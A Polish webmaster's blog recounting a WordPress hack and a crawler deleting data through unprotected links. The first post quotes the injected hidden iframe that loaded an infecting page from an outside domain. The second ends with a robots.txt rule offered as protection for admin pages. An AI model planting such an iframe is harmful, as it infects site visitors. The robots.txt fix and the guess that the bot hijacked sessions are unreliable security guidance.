Blokada witryny w google z powodu wykrycia malware.

Całkiem niedawno doznałem niezłego szoku gdy dostałem maila od Google, w którym zostałem poinformowany, że witryna www.poland2012.net, którą zarządzam została uznana za niebezpieczną dla użytkowników i częściowo zablokowana w wyszukiwarce.

Blokada polegała na wyświetlaniu w SERP-ach przy linku do witryny komunikatu: „Ta witryna może wyrządzić szkody na Twoim komputerze” ( ang: „This site may harm your computer” ). Po kliknięciu na link witryny pojawiała się kolejna strona z dodatkowym ostrzeżeniem „Ostrzeżenie – przejście do tej witryny może być niebezpieczne dla Twojego komputera!„, bez linka do strony docelowej. Przez to procent wejść z wyników naturalnych Google spadł praktycznie do zera gdyż jak widać bezpośrednio przejść an witrynę nie można było a szczerze wątpię aby komukolwiek mimo takich komunikatów chciał się ręcznie wpisywać adres „podejrzanej” domeny.

Powodem blokady domeny było zalezienie przez boty Google podejrzanych fragmentów kodu w kontencie witryny, które swoim działaniem mogły zainfekować potencjalnych odwiedzających. Z początku pomyślałem że to jakaś pomyłka bo przecież nigdy bym nawet nie pomyślał aby infekować kogokolwiek jakimś złośliwym oprogramowaniem typu malware czy spyware. Po chwili namysłu pomyślałem że przecież ktoś mógł taki kod wstawić w którymś z komentarzy do artykułów – przeszukałem zatem wszystkie treści wprowadzone przez użytkowników pod kątem wystąpienia „javascript” i „iframe” i nic nie znalazłem. Następną myślą było było sprawdzenie dla świętego spokoju źródła strony głównej. Jakże byłem zdziwiony gdy oczom moim ukazał się podejrzany kod:

<iframe src=http:///www.wp-stats-php.info/iframe/wp-stats.php width=1
height=1 frameborder=0></iframe>

Co najdziwniejsze kod ten znajdował się w środku tekstu wprowadzonego przeze mnie. Po kilku guglnięciach okazało się że to właśnie jest ten złośliwy kod o który chodzi Google – kod ten otwiera w niewidocznej ramce stronę, która infekuje system nieświadomego użytkownika. Czyżbym niechcąco go sam wprowadził? Niemożliwe…

Po kilku kolejnych guglnięciach okazało się że wersji Word Press’a, którego uzywam daleko jest do najaktualniejszej i w między czasie wydano kilka krytycznych updatów, które m.in poprawiały bezpieczeństwo danych. Zatem jasnym okazało się, że ktoś włamał się do systemu używając którejś z wykrytych luk i dokleił do niektórych postów niebezpieczny kod. Cóż uroki OpenSource.

Po odkryciu co i dlaczego jest nie tak zabrałem się za sprzątanie tego bałaganu, po kolei:

  1. Usunąłem zły kod malware.
  2. Zaktualizowałem Word Press’a do najnowszej wersji 2.3.2.
  3. Przesłałem informację do Google, że moja witryna jest już bezpieczna.

Po około dwóch dniach blokada w SERP-ach została zdjęta a tym samym sprawa zakończona.

Przygoda ta przypomniała mi o tym, że jeżeli korzystamy z jakichkolwiek aplikacji OpenSource to aby zapewnić maksymalne bezpieczeństwo trzeba ją regularnie aktualizować.

Jeszcze dla podejrzliwych dodam, że nie jest możliwe aby witryna została uznana za groźną poprzez jej zgłoszenie przez konkurencje. Proces sprawdzania witryn i ich ewentualna blokada jest procesem w pełni automatycznym.

Przydatne linki:

edit:

Google udostępniło poradnik dla webmasterów „Co zrobić gdy moja strona została zhakowana?„. Poniżej dodatkowy film:

Bot alexa.com i znikające dane w serwisach.

Dostałem ostatnio zgłoszenie, że w aplikacji, którą jakis czas temu napisałem zniknęło część kluczowych danych. Mniejsza z tym, jakie to były dane, powiedzmy ze chodzi o dane kont użytkowników, których usunięcie pociągnęło za sobą kaskadowe skasowanie się wielu innych danych z tabel zależnych.Sytuacja wydała się dosyć dziwna i podejżana. Pierwsza myśl, która zawitała w mej głowie to „pewnie, któryś z adminów niechcąco skasował” było to prawdopodobne tym bardziej, że kiedyś miało juz miejsce podobne zdarzenie. Tym razem jednak żaden z administratorów nie przyznał się do omyłkowego skasowania danych.

Kolejny powód zniknięcia danych o jakim pomyślałem to włam jakiegoś pseudo-hakera i celowe zniszczenie danych. Zaglądam do access-logów serwera z tego feralnego dnia, grepuje po pliku logowania i widze, że logowania pochdziły jedynie ze sprawdzonych IP. Hmm…gerpuje więc po pliku zawierającym sktypt kasujący głowne dane i oczom moim ukazuje się kilka lini, każda postaci:

user 64.208.172.180 - - [29/Oct/2007:17:28:46 +0100] "GET /skrypt_kasujacy.php?userID=15 HTTP/1.0" 302 - "-" "ia_archiver"

Jakim cudem ktoś wywołał (z powodzeniem) skrypt kasujący dane bez wcześniejszej poprawnej autoryzacji logowania? Od razu sprawdzam źródła aplikacji, czy aby jest dobrze zabezpieczona i… jest zabezpieczona poprawnie. wtf?

Totalnie zdziwiony stwierdzilem, że trzeba troche poguglać na temat 64.208.172.180 i „ia_archiver”. Po krótkiej chwili okazało się, że nazwa user agenta „ia_archiver” odpowiada nazwie z jaką się przedstawia bot alexa.com, aby mieć pewność, że ktoś się pod niego nie podszywa weryfikuje także IP, które potwierdza, że była to wizyta z serwera crawlera alexa.

Dobra to juz wiem, że dane nie skasował żaden haker tylko bot, ale to wcalenie jest pocieszająca myśl, to jest tragedia gdyż wynka, że moja aplikacja jest tak dziurawa, że nawet boty potrafią ją zaindeksować! Masakra…

Drążąc temat dalej dowiedziałem się, że bot alexa nie jest zwykłym botem jakich na pęczki w internecie gdyż oprócz latania jak głupek po wszystkich stronach www bieże informacje o stronach do odwiedzenia z Alexa Toolbar, który jaki dodatek można zainstalować w przeglądarce internetowej, także w ten sposób może zaindeksować strony, do których nie prowadzi żaden link a także te, które wymagają autoryzacji.
I tak właśnie było w tym wypadku, jeden z administratorów aplikacji miał zainstalowany alexa toolbar w swojej przeglądarce i przez to nawet gdy poruszał się w sekcji wymagającej autoryzacji to cały czas alexa była poprzez toolbar informowana o URLach przez niego odwiedzanych. W ten sposób w pewnym momencie bot zaindeksował stronę z listą użytkowników, przeparsował ją i wyciągnął linki prowadzące do usunięcia kont a następnie je wywołał i tym samym usunął konta.

Jak się okazało wywołanie linków kasujących dane zawsze miało miejsce w momencie gdy administrator był zalogowany w systemie. Domyślam się, że jakimś cudem bot poprzez toolbar przechwytywał zautoryzowaną sesje użytkownika i dzięki temu uzyskiwał dostęp do stron, do których dostępu mieć nie powinien!

Jak się zabezpieczyć?
Najlepiej stworzyć plik robots.txt w katalogu glównym aplikacji i wpisać w nim instrukcje nie pozwalającą botom na odwiedzani plików administracyjnych.

user-agent: *
Disallow: /admin_pages*